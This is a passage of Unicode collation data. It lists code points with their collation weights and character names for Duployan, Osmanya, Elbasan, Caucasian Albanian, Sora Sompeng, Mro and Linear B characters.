[.4388.0020.0002] # DUPLOYAN AFFIX ATTACHED E HOOK +1BC7B ; [.4389.0020.0002] # DUPLOYAN AFFIX ATTACHED I HOOK +1BC7C ; [.438A.0020.0002] # DUPLOYAN AFFIX ATTACHED TANGENT HOOK +1BC80 ; [.438B.0020.0002] # DUPLOYAN AFFIX HIGH ACUTE +1BC81 ; [.438C.0020.0002] # DUPLOYAN AFFIX HIGH TIGHT ACUTE +1BC82 ; [.438D.0020.0002] # DUPLOYAN AFFIX HIGH GRAVE +1BC83 ; [.438E.0020.0002] # DUPLOYAN AFFIX HIGH LONG GRAVE +1BC84 ; [.438F.0020.0002] # DUPLOYAN AFFIX HIGH DOT +1BC85 ; [.4390.0020.0002] # DUPLOYAN AFFIX HIGH CIRCLE +1BC86 ; [.4391.0020.0002] # DUPLOYAN AFFIX HIGH LINE +1BC87 ; [.4392.0020.0002] # DUPLOYAN AFFIX HIGH WAVE +1BC88 ; [.4393.0020.0002] # DUPLOYAN AFFIX HIGH VERTICAL +1BC90 ; [.4394.0020.0002] # DUPLOYAN AFFIX LOW ACUTE +1BC91 ; [.4395.0020.0002] # DUPLOYAN AFFIX LOW TIGHT ACUTE +1BC92 ; [.4396.0020.0002] # DUPLOYAN AFFIX LOW GRAVE +1BC93 ; [.4397.0020.0002] # DUPLOYAN AFFIX LOW LONG GRAVE +1BC94 ; [.4398.0020.0002] # DUPLOYAN AFFIX LOW DOT +1BC95 ; [.4399.0020.0002] # DUPLOYAN AFFIX LOW CIRCLE +1BC96 ; [.439A.0020.0002] # DUPLOYAN AFFIX LOW LINE +1BC97 ; [.439B.0020.0002] # DUPLOYAN AFFIX LOW WAVE +1BC98 ; [.439C.0020.0002] # DUPLOYAN AFFIX LOW VERTICAL +1BC99 ; [.439D.0020.0002] # DUPLOYAN AFFIX LOW ARROW +10480 ; [.439E.0020.0002] # OSMANYA LETTER ALEF +10481 ; [.439F.0020.0002] # OSMANYA LETTER BA +10482 ; [.43A0.0020.0002] # OSMANYA LETTER TA +10483 ; [.43A1.0020.0002] # OSMANYA LETTER JA +10484 ; [.43A2.0020.0002] # OSMANYA LETTER XA +10485 ; [.43A3.0020.0002] # OSMANYA LETTER KHA +10486 ; [.43A4.0020.0002] # OSMANYA LETTER DEEL +10487 ; [.43A5.0020.0002] # OSMANYA LETTER RA +10488 ; [.43A6.0020.0002] # OSMANYA LETTER SA +10489 ; [.43A7.0020.0002] # OSMANYA LETTER SHIIN +1048A ; [.43A8.0020.0002] # OSMANYA LETTER DHA +1048B ; [.43A9.0020.0002] # OSMANYA LETTER CAYN +1048C ; [.43AA.0020.0002] # OSMANYA LETTER GA +1048D ; [.43AB.0020.0002] # OSMANYA LETTER FA +1048E ; [.43AC.0020.0002] # OSMANYA LETTER QAAF +1048F ; [.43AD.0020.0002] # OSMANYA LETTER KAAF +10490 ; [.43AE.0020.0002] # OSMANYA LETTER LAAN +10491 ; [.43AF.0020.0002] # OSMANYA LETTER MIIN +10492 ; [.43B0.0020.0002] # OSMANYA LETTER NUUN +10493 ; [.43B1.0020.0002] # OSMANYA LETTER WAW +10494 ; [.43B2.0020.0002] # OSMANYA LETTER HA +10495 ; [.43B3.0020.0002] # OSMANYA LETTER YA +10496 ; [.43B4.0020.0002] # OSMANYA LETTER A +10497 ; [.43B5.0020.0002] # OSMANYA LETTER E +10498 ; [.43B6.0020.0002] # OSMANYA LETTER I +10499 ; [.43B7.0020.0002] # OSMANYA LETTER O +1049A ; [.43B8.0020.0002] # OSMANYA LETTER U +1049B ; [.43B9.0020.0002] # OSMANYA LETTER AA +1049C ; [.43BA.0020.0002] # OSMANYA LETTER EE +1049D ; [.43BB.0020.0002] # OSMANYA LETTER OO +10500 ; [.43BC.0020.0002] # ELBASAN LETTER A +10501 ; [.43BD.0020.0002] # ELBASAN LETTER BE +10502 ; [.43BE.0020.0002] # ELBASAN LETTER CE +10503 ; [.43BF.0020.0002] # ELBASAN LETTER CHE +10504 ; [.43C0.0020.0002] # ELBASAN LETTER DE +10505 ; [.43C1.0020.0002] # ELBASAN LETTER NDE +10506 ; [.43C2.0020.0002] # ELBASAN LETTER DHE +10507 ; [.43C3.0020.0002] # ELBASAN LETTER EI +10508 ; [.43C4.0020.0002] # ELBASAN LETTER E +10509 ; [.43C5.0020.0002] # ELBASAN LETTER FE +1050A ; [.43C6.0020.0002] # ELBASAN LETTER GE +1050B ; [.43C7.0020.0002] # ELBASAN LETTER GJE +1050C ; [.43C8.0020.0002] # ELBASAN LETTER HE +1050D ; [.43C9.0020.0002] # ELBASAN LETTER I +1050E ; [.43CA.0020.0002] # ELBASAN LETTER JE +1050F ; [.43CB.0020.0002] # ELBASAN LETTER KE +10510 ; [.43CC.0020.0002] # ELBASAN LETTER LE +10511 ; [.43CD.0020.0002] # ELBASAN LETTER LLE +10512 ; [.43CE.0020.0002] # ELBASAN LETTER ME +10513 ; [.43CF.0020.0002] # ELBASAN LETTER NE +10514 ; [.43D0.0020.0002] # ELBASAN LETTER NA +10515 ; [.43D1.0020.0002] # ELBASAN LETTER NJE +10516 ; [.43D2.0020.0002] # ELBASAN LETTER O +10517 ; [.43D3.0020.0002] # ELBASAN LETTER PE +10518 ; [.43D4.0020.0002] # ELBASAN LETTER QE +10519 ; [.43D5.0020.0002] # ELBASAN LETTER RE +1051A ; [.43D6.0020.0002] # ELBASAN LETTER RRE +1051B ; [.43D7.0020.0002] # ELBASAN LETTER SE +1051C ; [.43D8.0020.0002] # ELBASAN LETTER SHE +1051D ; [.43D9.0020.0002] # ELBASAN LETTER TE +1051E ; [.43DA.0020.0002] # ELBASAN LETTER THE +1051F ; [.43DB.0020.0002] # ELBASAN LETTER U +10520 ; [.43DC.0020.0002] # ELBASAN LETTER VE +10521 ; [.43DD.0020.0002] # ELBASAN LETTER XE +10522 ; [.43DE.0020.0002] # ELBASAN LETTER Y +10523 ; [.43DF.0020.0002] # ELBASAN LETTER ZE +10524 ; [.43E0.0020.0002] # ELBASAN LETTER ZHE +10525 ; [.43E1.0020.0002] # ELBASAN LETTER GHE +10526 ; [.43E2.0020.0002] # ELBASAN LETTER GHAMMA +10527 ; [.43E3.0020.0002] # ELBASAN LETTER KHE +10530 ; [.43E4.0020.0002] # CAUCASIAN ALBANIAN LETTER ALT +10531 ; [.43E5.0020.0002] # CAUCASIAN ALBANIAN LETTER BET +10532 ; [.43E6.0020.0002] # CAUCASIAN ALBANIAN LETTER GIM +10533 ; [.43E7.0020.0002] # CAUCASIAN ALBANIAN LETTER DAT +10534 ; [.43E8.0020.0002] # CAUCASIAN ALBANIAN LETTER EB +10535 ; [.43E9.0020.0002] # CAUCASIAN ALBANIAN LETTER ZARL +10536 ; [.43EA.0020.0002] # CAUCASIAN ALBANIAN LETTER EYN +10537 ; [.43EB.0020.0002] # CAUCASIAN ALBANIAN LETTER ZHIL +10538 ; [.43EC.0020.0002] # CAUCASIAN ALBANIAN LETTER TAS +10539 ; [.43ED.0020.0002] # CAUCASIAN ALBANIAN LETTER CHA +1053A ; [.43EE.0020.0002] # CAUCASIAN ALBANIAN LETTER YOWD +1053B ; [.43EF.0020.0002] # CAUCASIAN ALBANIAN LETTER ZHA +1053C ; [.43F0.0020.0002] # CAUCASIAN ALBANIAN LETTER IRB +1053D ; [.43F1.0020.0002] # CAUCASIAN ALBANIAN LETTER SHA +1053E ; [.43F2.0020.0002] # CAUCASIAN ALBANIAN LETTER LAN +1053F ; [.43F3.0020.0002] # CAUCASIAN ALBANIAN LETTER INYA +10540 ; [.43F4.0020.0002] # CAUCASIAN ALBANIAN LETTER XEYN +10541 ; [.43F5.0020.0002] # CAUCASIAN ALBANIAN LETTER DYAN +10542 ; [.43F6.0020.0002] # CAUCASIAN ALBANIAN LETTER CAR +10543 ; [.43F7.0020.0002] # CAUCASIAN ALBANIAN LETTER JHOX +10544 ; [.43F8.0020.0002] # CAUCASIAN ALBANIAN LETTER KAR +10545 ; [.43F9.0020.0002] # CAUCASIAN ALBANIAN LETTER LYIT +10546 ; [.43FA.0020.0002] # CAUCASIAN ALBANIAN LETTER HEYT +10547 ; [.43FB.0020.0002] # CAUCASIAN ALBANIAN LETTER QAY +10548 ; [.43FC.0020.0002] # CAUCASIAN ALBANIAN LETTER AOR +10549 ; [.43FD.0020.0002] # CAUCASIAN ALBANIAN LETTER CHOY +1054A ; [.43FE.0020.0002] # CAUCASIAN ALBANIAN LETTER CHI +1054B ; [.43FF.0020.0002] # CAUCASIAN ALBANIAN LETTER CYAY +1054C ; [.4400.0020.0002] # CAUCASIAN ALBANIAN LETTER MAQ +1054D ; [.4401.0020.0002] # CAUCASIAN ALBANIAN LETTER QAR +1054E ; [.4402.0020.0002] # CAUCASIAN ALBANIAN LETTER NOWC +1054F ; [.4403.0020.0002] # CAUCASIAN ALBANIAN LETTER DZYAY +10550 ; [.4404.0020.0002] # CAUCASIAN ALBANIAN LETTER SHAK +10551 ; [.4405.0020.0002] # CAUCASIAN ALBANIAN LETTER JAYN +10552 ; [.4406.0020.0002] # CAUCASIAN ALBANIAN LETTER ON +10553 ; [.4407.0020.0002] # CAUCASIAN ALBANIAN LETTER TYAY +10554 ; [.4408.0020.0002] # CAUCASIAN ALBANIAN LETTER FAM +10555 ; [.4409.0020.0002] # CAUCASIAN ALBANIAN LETTER DZAY +10556 ; [.440A.0020.0002] # CAUCASIAN ALBANIAN LETTER CHAT +10557 ; [.440B.0020.0002] # CAUCASIAN ALBANIAN LETTER PEN +10558 ; [.440C.0020.0002] # CAUCASIAN ALBANIAN LETTER GHEYS +10559 ; [.440D.0020.0002] # CAUCASIAN ALBANIAN LETTER RAT +1055A ; [.440E.0020.0002] # CAUCASIAN ALBANIAN LETTER SEYK +1055B ; [.440F.0020.0002] # CAUCASIAN ALBANIAN LETTER VEYZ +1055C ; [.4410.0020.0002] # CAUCASIAN ALBANIAN LETTER TIWR +1055D ; [.4411.0020.0002] # CAUCASIAN ALBANIAN LETTER SHOY +1055E ; [.4412.0020.0002] # CAUCASIAN ALBANIAN LETTER IWN +1055F ; [.4413.0020.0002] # CAUCASIAN ALBANIAN LETTER CYAW +10560 ; [.4414.0020.0002] # CAUCASIAN ALBANIAN LETTER CAYN +10561 ; [.4415.0020.0002] # CAUCASIAN ALBANIAN LETTER YAYD +10562 ; [.4416.0020.0002] # CAUCASIAN ALBANIAN LETTER PIWR +10563 ; [.4417.0020.0002] # CAUCASIAN ALBANIAN LETTER KIW +110D0 ; [.4418.0020.0002] # SORA SOMPENG LETTER SAH +110D1 ; [.4419.0020.0002] # SORA SOMPENG LETTER TAH +110D2 ; [.441A.0020.0002] # SORA SOMPENG LETTER BAH +110D3 ; [.441B.0020.0002] # SORA SOMPENG LETTER CAH +110D4 ; [.441C.0020.0002] # SORA SOMPENG LETTER DAH +110D5 ; [.441D.0020.0002] # SORA SOMPENG LETTER GAH +110D6 ; [.441E.0020.0002] # SORA SOMPENG LETTER MAH +110D7 ; [.441F.0020.0002] # SORA SOMPENG LETTER NGAH +110D8 ; [.4420.0020.0002] # SORA SOMPENG LETTER LAH +110D9 ; [.4421.0020.0002] # SORA SOMPENG LETTER NAH +110DA ; [.4422.0020.0002] # SORA SOMPENG LETTER VAH +110DB ; [.4423.0020.0002] # SORA SOMPENG LETTER PAH +110DC ; [.4424.0020.0002] # SORA SOMPENG LETTER YAH +110DD ; [.4425.0020.0002] # SORA SOMPENG LETTER RAH +110DE ; [.4426.0020.0002] # SORA SOMPENG LETTER HAH +110DF ; [.4427.0020.0002] # SORA SOMPENG LETTER KAH +110E0 ; [.4428.0020.0002] # SORA SOMPENG LETTER JAH +110E1 ; [.4429.0020.0002] # SORA SOMPENG LETTER NYAH +110E2 ; [.442A.0020.0002] # SORA SOMPENG LETTER AH +110E3 ; [.442B.0020.0002] # SORA SOMPENG LETTER EEH +110E4 ; [.442C.0020.0002] # SORA SOMPENG LETTER IH +110E5 ; [.442D.0020.0002] # SORA SOMPENG LETTER UH +110E6 ; [.442E.0020.0002] # SORA SOMPENG LETTER OH +110E7 ; [.442F.0020.0002] # SORA SOMPENG LETTER EH +110E8 ; [.4430.0020.0002] # SORA SOMPENG LETTER MAE +16A40 ; [.4431.0020.0002] # MRO LETTER TA +16A41 ; [.4432.0020.0002] # MRO LETTER NGI +16A42 ; [.4433.0020.0002] # MRO LETTER YO +16A43 ; [.4434.0020.0002] # MRO LETTER MIM +16A44 ; [.4435.0020.0002] # MRO LETTER BA +16A45 ; [.4436.0020.0002] # MRO LETTER DA +16A46 ; [.4437.0020.0002] # MRO LETTER A +16A47 ; [.4438.0020.0002] # MRO LETTER PHI +16A48 ; [.4439.0020.0002] # MRO LETTER KHAI +16A49 ; [.443A.0020.0002] # MRO LETTER HAO +16A4A ; [.443B.0020.0002] # MRO LETTER DAI +16A4B ; [.443C.0020.0002] # MRO LETTER CHU +16A4C ; [.443D.0020.0002] # MRO LETTER KEAAE +16A4D ; [.443E.0020.0002] # MRO LETTER OL +16A4E ; [.443F.0020.0002] # MRO LETTER MAEM +16A4F ; [.4440.0020.0002] # MRO LETTER NIN +16A50 ; [.4441.0020.0002] # MRO LETTER PA +16A51 ; [.4442.0020.0002] # MRO LETTER OO +16A52 ; [.4443.0020.0002] # MRO LETTER O +16A53 ; [.4444.0020.0002] # MRO LETTER RO +16A54 ; [.4445.0020.0002] # MRO LETTER SHI +16A55 ; [.4446.0020.0002] # MRO LETTER THEA +16A56 ; [.4447.0020.0002] # MRO LETTER EA +16A57 ; [.4448.0020.0002] # MRO LETTER WA +16A58 ; [.4449.0020.0002] # MRO LETTER E +16A59 ; [.444A.0020.0002] # MRO LETTER KO +16A5A ; [.444B.0020.0002] # MRO LETTER LAN +16A5B ; [.444C.0020.0002] # MRO LETTER LA +16A5C ; [.444D.0020.0002] # MRO LETTER HAI +16A5D ; [.444E.0020.0002] # MRO LETTER RI +16A5E ; [.444F.0020.0002] # MRO LETTER TEK +10000 ; [.4450.0020.0002] # LINEAR B SYLLABLE B008 A +10001 ; [.4451.0020.0002] # LINEAR B SYLLABLE B038 E +10002 ; [.4452.0020.0002] # LINEAR B SYLLABLE B028 I +10003 ; [.4453.0020.0002] # LINEAR B SYLLABLE B061 O +10004 ; [.4454.0020.0002] # LINEAR B SYLLABLE B010 U +10005 ; [.4455.0020.0002] # LINEAR B SYLLABLE B001 DA +10006 ; [.4456.0020.0002] # LINEAR B SYLLABLE B045 DE +10007 ; [.4457.0020.0002] # LINEAR B SYLLABLE B007 DI +10008 ; [.4458.0020.0002] # LINEAR B SYLLABLE B014 DO +10009 ; [.4459.0020.0002] # LINEAR B SYLLABLE B051 DU +1000A ; [.445A.0020.0002] # LINEAR B SYLLABLE B057 JA +1000B ; [.445B.0020.0002] # LINEAR B SYLLABLE B046 JE +1000D ; [.445C.0020.0002] # LINEAR B SYLLABLE B036 JO +1000E ; [.445D.0020.0002] # LINEAR B SYLLABLE B065 JU +1000F ; [.445E.0020.0002] # LINEAR B SYLLABLE B077 KA +10010 ; [.445F.0020.0002] # LINEAR B SYLLABLE B044 KE +10011 ; [.4460.0020.0002] # LINEAR B SYLLABLE B067 KI +10012 ; [.4461.0020.0002] # LINEAR B SYLLABLE B070 KO +10013 ; [.4462.0020.0002] # LINEAR B SYLLABLE B081 KU +10014 ; [.4463.0020.0002] # LINEAR B SYLLABLE B080 MA +10015 ; [.4464.0020.0002] # LINEAR B SYLLABLE B013 ME +10016 ; [.4465.0020.0002] # LINEAR B SYLLABLE B073 MI +10017 ; [.4466.0020.0002] # LINEAR B SYLLABLE B015 MO +10018 ; [.4467.0020.0002] # LINEAR B SYLLABLE B023 MU +10019 ; [.4468.0020.0002] # LINEAR B SYLLABLE B006 NA +1001A ; [.4469.0020.0002] # LINEAR B SYLLABLE B024 NE +1001B ; [.446A.0020.0002] # LINEAR B SYLLABLE B030 NI +1001C ; [.446B.0020.0002] # LINEAR B SYLLABLE B052 NO +1001D ; [.446C.0020.0002] # LINEAR B SYLLABLE B055 NU +1001E ; [.446D.0020.0002] # LINEAR B SYLLABLE B003 PA +1001F ; [.446E.0020.0002] # LINEAR B SYLLABLE B072 PE +10020 ; [.446F.0020.0002] # LINEAR B SYLLABLE B039 PI +10021 ; [.4470.0020.0002] # LINEAR B SYLLABLE B011 PO +10022 ; [.4471.0020.0002] # LINEAR B SYLLABLE B050 PU +10023 ; [.4472.0020.0002] # LINEAR B SYLLABLE B016 QA +10024 ; [.4473.0020.0002] # LINEAR B SYLLABLE B078 QE +10025 ; [.4474.0020.0002] # LINEAR B SYLLABLE B021 QI +10026 ; [.4475.0020.0002] # LINEAR B SYLLABLE B032 QO +10028 ; [.4476.0020.0002] # LINEAR B SYLLABLE B060 RA +10029 ; [.4477.0020.0002] # LINEAR B SYLLABLE B027 RE +1002A ; [.4478.0020.0002] # LINEAR B SYLLABLE B053 RI +1002B ; [.4479.0020.0002] # LINEAR B SYLLABLE B002 RO +1002C ; [.447A.0020.0002] # LINEAR B SYLLABLE B026 RU +1002D ; [.447B.0020.0002] # LINEAR B SYLLABLE B031 SA +1002E ; [.447C.0020.0002] # LINEAR B SYLLABLE B009 SE +1002F ; [.447D.0020.0002] # LINEAR B SYLLABLE B041 SI +10030 ; [.447E.0020.0002] # LINEAR B SYLLABLE B012 SO +10031 ; [.447F.0020.0002] # LINEAR B SYLLABLE B058 SU +10032 ; [.4480.0020.0002] # LINEAR B SYLLABLE B059 TA +10033 ; [.4481.0020.0002] # LINEAR B SYLLABLE B004 TE +10034 ; [.4482.0020.0002] # LINEAR B SYLLABLE B037 TI +10035 ; [.4483.0020.0002] # LINEAR B SYLLABLE B005 TO +10036 ; [.4484.0020.0002] # LINEAR B SYLLABLE B069 TU +10037 ; [.4485.0020.0002] # LINEAR B SYLLABLE B054 WA +10038 ; [.4486.0020.0002] # LINEAR B SYLLABLE B075 WE +10039 ; [.4487.0020.0002] # LINEAR B SYLLABLE B040 WI +1003A ; [.4488.0020.0002] # LINEAR B SYLLABLE B042 WO +1003C ; [.4489.0020.0002] # LINEAR B SYLLABLE B017 ZA +1003D ; [.448A.0020.0002] # LINEAR B SYLLABLE B074 ZE +1003F ; [.448B.0020.0002] # LINEAR B SYLLABLE B020 ZO +10040 ; [.448C.0020.0002] # LINEAR B SYLLABLE B025 A2 +10041 ; [.448D.0020.0002] # LINEAR B SYLLABLE B043 A3 +10042 ; [.448E.0020.0002] # LINEAR B SYLLABLE B085 AU +10043 ; [.448F.0020.0002] # LINEAR B SYLLABLE B071 DWE +10044 ; [.4490.0020.0002] # LINEAR B SYLLABLE B090 DWO +10045 ; [.4491.0020.0002] # LINEAR B SYLLABLE B048 NWA +10046 ; [.4492.0020.0002] # LINEAR B SYLLABLE B029 PU2 +10047 ; [.4493.0020.0002] # LINEAR B SYLLABLE B062 PTE +10048 ; [.4494.0020.0002] # LINEAR B SYLLABLE B076 RA2 +10049 ; [.4495.0020.0002] # LINEAR B SYLLABLE B033 RA3 +1004A ; [.4496.0020.0002] # LINEAR B SYLLABLE B068 RO2 +1004B ; [.4497.0020.0002] # LINEAR B SYLLABLE B066 TA2 +1004C ; [.4498.0020.0002] # LINEAR B SYLLABLE B087 TWE +1004D ; [.4499.0020.0002] # LINEAR B SYLLABLE B091 TWO +10050 ; [.449A.0020.0002] # LINEAR B SYMBOL B018 +10051 ; [.449B.0020.0002] # LINEAR B SYMBOL B019 +10052 ; [.449C.0020.0002] # LINEAR B SYMBOL B022 +10053 ; [.449D.0020.0002] # LINEAR B SYMBOL B034 +10054 ; [.449E.0020.0002] # LINEAR B SYMBOL B047 +10055 ; [.449F.0020.0002] # LINEAR B SYMBOL B049 +10056 ; [.44A0.0020.0002] # LINEAR B SYMBOL B056 +10057 ; [.44A1.0020.0002] # LINEAR B SYMBOL B063 +10058 ; [.44A2.0020.0002] # LINEAR B SYMBOL B064 +10059 ; [.44A3.0020.0002] # LINEAR B SYMBOL B079 +1005A ; [.44A4.0020.0002] # LINEAR B SYMBOL B082 +1005B ; [.44A5.0020.0002] # LINEAR B SYMBOL B083 +1005C ; [.44A6.0020.0002] # LINEAR B SYMBOL B086 +1005D ; [.44A7.0020.0002] # LINEAR B SYMBOL B089 +10080 ; [.44A8.0020.0002] # LINEAR B IDEOGRAM B100 MAN +10081 ; [.44A9.0020.0002] # LINEAR B IDEOGRAM B102 WOMAN +10082 ; [.44AA.0020.0002] # LINEAR B IDEOGRAM B104 DEER +10083 ; [.44AB.0020.0002] # LINEAR B IDEOGRAM B105 EQUID +10084 ; [.44AC.0020.0002] # LINEAR B IDEOGRAM B105F MARE +10085 ; [.44AD.0020.0002] # LINEAR B IDEOGRAM B105M STALLION +10086 ; [.44AE.0020.0002] # LINEAR B IDEOGRAM B106F EWE +10087 ; [.44AF.0020.0002] # LINEAR B IDEOGRAM B106M RAM +10088 ; [.44B0.0020.0002] # LINEAR B IDEOGRAM B107F SHE-GOAT +10089 ; [.44B1.0020.0002] # LINEAR B IDEOGRAM B107M HE-GOAT +1008A ; [.44B2.0020.0002] # LINEAR B IDEOGRAM B108F SOW +1008B ; [.44B3.0020.0002] # LINEAR B IDEOGRAM B108M BOAR +1008C ; [.44B4.0020.0002] # LINEAR B IDEOGRAM B109F COW +1008D ; [.44B5.0020.0002] # LINEAR B IDEOGRAM B109M BULL +1008E ; [.44B6.0020.0002] # LINEAR B IDEOGRAM B120 WHEAT +1008F ; [.44B7.0020.0002] # LINEAR B IDEOGRAM B121 BARLEY +10090 ; [.44B8.0020.0002] # LINEAR B IDEOGRAM B122 OLIVE +10091 ; [.44B9.0020.0002] # LINEAR B IDEOGRAM B123 SPICE +10092 ; [.44BA.0020.0002] # LINEAR B IDEOGRAM B125 CYPERUS +10093 ; [.44BB.0020.0002] # LINEAR B MONOGRAM B127 KAPO +10094 ; [.44BC.0020.0002] # LINEAR B MONOGRAM B128 KANAKO +10095 ; [.44BD.0020.0002] # LINEAR B IDEOGRAM B130 OIL +10096 ; [.44BE.0020.0002] # LINEAR B IDEOGRAM B131 WINE +10097 ; [.44BF.0020.0002] # LINEAR B IDEOGRAM B132 +10098 ; [.44C0.0020.0002] # LINEAR B MONOGRAM B133 AREPA +10099 ; [.44C1.0020.0002] # LINEAR B MONOGRAM B135 MERI +1009A ; [.44C2.0020.0002] # LINEAR B IDEOGRAM B140 BRONZE +1009B ; [.44C3.0020.0002] # LINEAR B IDEOGRAM B141 GOLD +1009C ; [.44C4.0020.0002] # LINEAR B IDEOGRAM B142 +1009D ; [.44C5.0020.0002] # LINEAR B IDEOGRAM B145 WOOL +1009E ; [.44C6.0020.0002] # LINEAR B IDEOGRAM B146 +1009F ; [.44C7.0020.0002] # LINEAR B IDEOGRAM B150 +100A0 ; [.44C8.0020.0002] # LINEAR B IDEOGRAM B151 HORN +100A1 ; [.44C9.0020.0002] # LINEAR B IDEOGRAM B152 +100A2 ; [.44CA.0020.0002] # LINEAR B IDEOGRAM B153 +100A3 ; [.44CB.0020.0002] # LINEAR B IDEOGRAM B154 +100A4 ; [.44CC.0020.0002] # LINEAR B MONOGRAM B156 TURO2 +100A5 ; [.44CD.0020.0002] # LINEAR B IDEOGRAM B157 +100A6 ; [.44CE.0020.0002] # LINEAR B IDEOGRAM B158 +100A7 ; [.44CF.0020.0002] # LINEAR B IDEOGRAM B159 CLOTH +100A8 ; [.44D0.0020.0002] # LINEAR B IDEOGRAM B160 +100A9 ; [.44D1.0020.0002] # LINEAR B IDEOGRAM B161 +100AA ; [.44D2.0020.0002] # LINEAR B IDEOGRAM B162 GARMENT +100AB ; [.44D3.0020.0002] # LINEAR B IDEOGRAM B163 ARMOUR +100AC ; [.44D4.0020.0002] # LINEAR B IDEOGRAM B164 +100AD ; [.44D5.0020.0002] # LINEAR B IDEOGRAM B165 +100AE ; [.44D6.0020.0002] # LINEAR B IDEOGRAM B166 +100AF ; [.44D7.0020.0002] # LINEAR B IDEOGRAM B167 +100B0 ; [.44D8.0020.0002] # LINEAR B IDEOGRAM B168 +100B1 ; [.44D9.0020.0002] # LINEAR B IDEOGRAM B169 +100B2 ; [.44DA.0020.0002] # LINEAR B IDEOGRAM B170 +100B3 ; [.44DB.0020.0002] # LINEAR B IDEOGRAM B171 +100B4 ; [.44DC.0020.0002] # LINEAR B IDEOGRAM B172 +100B5 ; [.44DD.0020.0002] # LINEAR B IDEOGRAM B173 MONTH +100B6 ; [.44DE.0020.0002] # LINEAR B IDEOGRAM B174 +100B7 ; [.44DF.0020.0002] # LINEAR B IDEOGRAM B176 TREE +100B8 ; [.44E0.0020.0002] # LINEAR B IDEOGRAM B177 +100B9 ; [.44E1.0020.0002] # LINEAR B IDEOGRAM B178 +100BA ; [.44E2.0020.0002] # LINEAR B IDEOGRAM B179 +100BB ; [.44E3.0020.0002] # LINEAR B IDEOGRAM B180 +100BC ; [.44E4.0020.0002] # LINEAR B IDEOGRAM B181 +100BD ; [.44E5.0020.0002] # LINEAR B IDEOGRAM B182 +100BE ; [.44E6.0020.0002] # LINEAR B IDEOGRAM B183 +100BF ; [.44E7.0020.0002] # LINEAR B IDEOGRAM B184 +100C0 ; [.44E8.0020.0002] # LINEAR B IDEOGRAM B185 +100C1 ; [.44E9.0020.0002] # LINEAR B IDEOGRAM B189 +100C2 ; [.44EA.0020.0002] # LINEAR B IDEOGRAM B190 +100C3 ; [.44EB.0020.0002] # LINEAR B IDEOGRAM B191 HELMET +100C4 ; [.44EC.0020.0002] # LINEAR B IDEOGRAM B220 FOOTSTOOL +100C5 ; [.44ED.0020.0002] # LINEAR B IDEOGRAM B225 BATHTUB +100C6 ; [.44EE.0020.0002] # LINEAR B IDEOGRAM B230 SPEAR +100C7 ; [.44EF.0020.0002] # LINEAR B IDEOGRAM B231 ARROW +100C8 ; [.44F0.0020.0002] # LINEAR B IDEOGRAM B232 +100C9 ; [.44F1.0020.0002] # LINEAR B IDEOGRAM B233 SWORD +100CA ; [.44F2.0020.0002] # LINEAR B IDEOGRAM B234 +100CB ; [.44F3.0020.0002] # LINEAR B IDEOGRAM B236 +100CC ; [.44F4.0020.0002] # LINEAR B IDEOGRAM B240 WHEELED CHARIOT +100CD ; [.44F5.0020.0002] # LINEAR B IDEOGRAM B241 CHARIOT +100CE ; [.44F6.0020.0002] # LINEAR B IDEOGRAM B242 CHARIOT FRAME +100CF ; [.44F7.0020.0002] # LINEAR B IDEOGRAM B243 WHEEL +100D0 ; [.44F8.0020.0002] # LINEAR B IDEOGRAM B245 +100D1 ; [.44F9.0020.0002] # LINEAR B IDEOGRAM B246 +100D2 ; [.44FA.0020.0002] # LINEAR B MONOGRAM B247 DIPTE +100D3 ; [.44FB.0020.0002] # LINEAR B IDEOGRAM B248 +100D4 ; [.44FC.0020.0002] # LINEAR B IDEOGRAM B249 +100D5 ; [.44FD.0020.0002] # LINEAR B IDEOGRAM B251 +100D6 ; [.44FE.0020.0002] # LINEAR B IDEOGRAM B252 +100D7 ; [.44FF.0020.0002] # LINEAR B IDEOGRAM B253 +100D8 ; [.4500.0020.0002] # LINEAR B IDEOGRAM B254 DART +100D9 ; [.4501.0020.0002] # LINEAR B IDEOGRAM B255 +100DA ; [.4502.0020.0002] # LINEAR B IDEOGRAM B256 +100DB ; [.4503.0020.0002] # LINEAR B IDEOGRAM B257 +100DC ; [.4504.0020.0002] # LINEAR B IDEOGRAM B258 +100DD ; [.4505.0020.0002] # LINEAR B IDEOGRAM B259 +100DE ; [.4506.0020.0002] # LINEAR B IDEOGRAM VESSEL B155 +100DF ; [.4507.0020.0002] # LINEAR B IDEOGRAM VESSEL B200 +100E0 ; [.4508.0020.0002] # LINEAR B IDEOGRAM VESSEL B201 +100E1 ; [.4509.0020.0002] # LINEAR B IDEOGRAM VESSEL B202 +100E2 ; [.450A.0020.0002] # LINEAR B IDEOGRAM VESSEL B203 +100E3 ; [.450B.0020.0002] # LINEAR B IDEOGRAM VESSEL B204 +100E4 ; [.450C.0020.0002] # LINEAR B IDEOGRAM VESSEL B205 +100E5 ; [.450D.0020.0002] # LINEAR B IDEOGRAM VESSEL B206 +100E6 ; [.450E.0020.0002] # LINEAR B IDEOGRAM VESSEL B207 +100E7 ; [.450F.0020.0002] # LINEAR B IDEOGRAM VESSEL B208 +100E8 ; [.4510.0020.0002] # LINEAR B IDEOGRAM VESSEL B209 +100E9 ; [.4511.0020.0002] # LINEAR B IDEOGRAM VESSEL B210 +100EA ; [.4512.0020.0002] # LINEAR B IDEOGRAM VESSEL B211 +100EB ; [.4513.0020.0002] # LINEAR B IDEOGRAM VESSEL B212 +100EC ; [.4514.0020.0002] # LINEAR B IDEOGRAM VESSEL B213 +100ED ; [.4515.0020.0002] # LINEAR B IDEOGRAM VESSEL B214 +100EE ; [.4516.0020.0002] # LINEAR B IDEOGRAM VESSEL B215 +100EF ; [.4517.0020.0002] # LINEAR B IDEOGRAM VESSEL B216 +100F0 ; [.4518.0020.0002] # LINEAR B IDEOGRAM VESSEL B217 +100F1 ; [.4519.0020.0002] # LINEAR B IDEOGRAM VESSEL B218 +100F2 ; [.451A.0020.0002] # LINEAR B IDEOGRAM VESSEL B219 +100F3 ; [.451B.0020.0002] # LINEAR B IDEOGRAM VESSEL B221 +100F4 ; [.451C.0020.0002] # LINEAR B IDEOGRAM VESSEL B222 +100F5 ; [.451D.0020.0002] # LINEAR B IDEOGRAM VESSEL B226 +100F6 ; [.451E.0020.0002] # LINEAR B IDEOGRAM VESSEL B227 +100F7 ; [.451F.0020.0002] # LINEAR B IDEOGRAM VESSEL B228 +100F8 ; [.4520.0020.0002] # LINEAR B IDEOGRAM VESSEL B229 +100F9 ; [.4521.0020.0002] # LINEAR B IDEOGRAM VESSEL B250 +100FA ; [.4522.0020.0002] # LINEAR B IDEOGRAM VESSEL B305 +10600 ; [.4523.0020.0002] # LINEAR A SIGN AB001 